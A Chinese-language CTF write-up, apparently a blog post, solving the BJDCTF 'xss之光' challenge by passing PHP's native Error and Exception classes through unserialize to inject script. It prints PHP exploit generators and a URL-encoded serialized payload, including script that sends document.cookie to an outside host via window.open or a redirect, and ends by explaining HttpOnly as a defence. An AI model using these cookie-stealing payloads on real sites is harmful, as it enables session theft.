[BJDCTF 2nd]xss之光 (利用php原生类进行XSS)

前言

文章所涉及的资料来自互联网整理和个人总结,意在于个人学习和经验汇总,如有什么地方侵权,请联系本人删除,谢谢!本文仅用于学习与交流,不得用于非法用途!

知识点

有关该题目的知识点,十分建议去看看这篇大佬的文章:https://blog.csdn.net/qq_45521281/article/details/105812056
当对象被当作一个字符串使用时候调用(不仅仅是echo的时候,比如file_exists()判断也会触发):__toString
这里的原理就是利用__toString这个魔法方法:
__toString() 方法用于一个类被当成字符串时应怎样回应。例如 echo $obj; 应该显示些什么。此方法必须返回一个字符串
先来看看以下代码:

<?php
$a = unserialize($_GET['abc']);
echo $a;
?>

exp:

<?php
$a = new Error("<script>alert(1)</script>");
$b = serialize($a);
echo urlencode($b);
?>

如果将exp传入源码中,就会造成XSS漏洞,应该能够注意到这里创建了一个Error类,里面写入了注入代码,经过序列化过程,再直接echo出来就会造成XSS,但是Error类只适用于PHP7版本。同样有等效的原生php类还有Exception,适用于PHP5、PHP7,接下来buuctf的环境便是PHP5,需要用到该函数来完成做题。

题目

在这里插入图片描述
进到去就gungungun的,找不到任何东西,扫了扫也没发现什么,看了看wp发现居然是git泄露!草率了
用githack工具拿到源码:

<?php
$a = $_GET['yds_is_so_beautiful'];
echo unserialize($a);

源码就只有一个反序列化过程,但题目提示了XSS,有关XSS的题目,flag一般都在cookie里面
看到大佬做题,直接就document.cookie就能拿到flag了,根本不需要整这些花里胡哨的,我也试了试,果真如此
在这里插入图片描述
但是大佬说这种情况很少有见,几乎没有,但是思路还是值得学学 ,直接点不好吗?
由于此题是xss,所以只要xss执行window.open()就能把flag带出来

<?php
$a = new Exception("<script>window.open('http://1150fc60-3e08-4b15-80de-c13acf9300a2.node3.buuoj.cn/?'+document.cookie);</script>");
echo urlencode(serialize($a));
?>

运行得到

O%3A9%3A%22Exception%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A109%3A%22%3Cscript%3Ewindow.open%28%27http%3A%2F%2F1150fc60-3e08-4b15-80de-c13acf9300a2.node3.buuoj.cn%2F%3F%27%2Bdocument.cookie%29%3B%3C%2Fscript%3E%22%3Bs%3A17%3A%22%00Exception%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A0%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A29%3A%22D%3A%5Cphpstudy_pro%5CWWW%5Cindex.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A2%3Bs%3A16%3A%22%00Exception%00trace%22%3Ba%3A0%3A%7B%7Ds%3A19%3A%22%00Exception%00previous%22%3BN%3B%7D

再GET提交就可以在cookie里面拿到flag

在这里插入图片描述

也可以用window.location.href='url’来实现恶意跳转

<?php
$a = new Exception("<script>window.location.href='http://1150fc60-3e08-4b15-80de-c13acf9300a2.node3.buuoj.cn/'+document.cookie</script>");
echo urlencode(serialize($a));
?>

最后还有大佬提醒的方法,用alert直接弹出flag

<?php
$a = new Exception("<script>alert(document.cookie)</script>");
echo urlencode(serialize($a));
?>

但是这种方法也有着限制,如果环境开启了HttpOnly,就不能这样利用。

什么是HttpOnly

如果cookie中设置了HttpOnly属性,那么通过js脚本将无法读取到cookie信息,这样能有效的防止XSS攻击,窃取cookie内容,这样就增加了cookie的安全性,即便是这样,也不要将重要信息存入cookie。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值